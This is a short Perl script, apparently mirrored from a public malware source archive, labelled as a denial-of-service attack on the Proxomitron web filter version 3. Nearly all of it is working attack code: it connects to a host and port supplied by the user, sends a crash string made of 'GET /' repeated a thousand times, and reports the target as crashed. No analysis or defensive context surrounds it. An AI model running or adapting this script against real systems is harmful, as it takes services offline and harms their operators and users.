13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/Perl/DoS.Perl.Proxometron.a
2020-10-09 21:59:39 -05:00

34 lines
861 B
Plaintext

#####################################################
# Proxomitron - Universial Web Filter - Version 3 #
# Dos Attack. #
#####################################################
use IO::Socket;
$ARGC=@ARGV;
if ($ARGC !=2) {
print "\n-->";
print "\tUsage: perl dos-prox.pl <host> <port>\n";
exit;
}
$vic = $ARGV[0]; # There IP
$Uport = $ARGV[1]; # There Web Port
$SendStr = "GET /" x 1000; # Crash String
print "\n-->";
print "\tCrashing:$vic on:$Uport\n";
unless ($socket2 = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $vic,
PeerPort => $Uport))
{
print "-->";
print "\tConnection Failed, Stoping.\n";
exit;
}
print $socket2 "GET $SendStr\n";
close $socket2;
print "-->";
print "\tCrashed:$vic\n";
exit;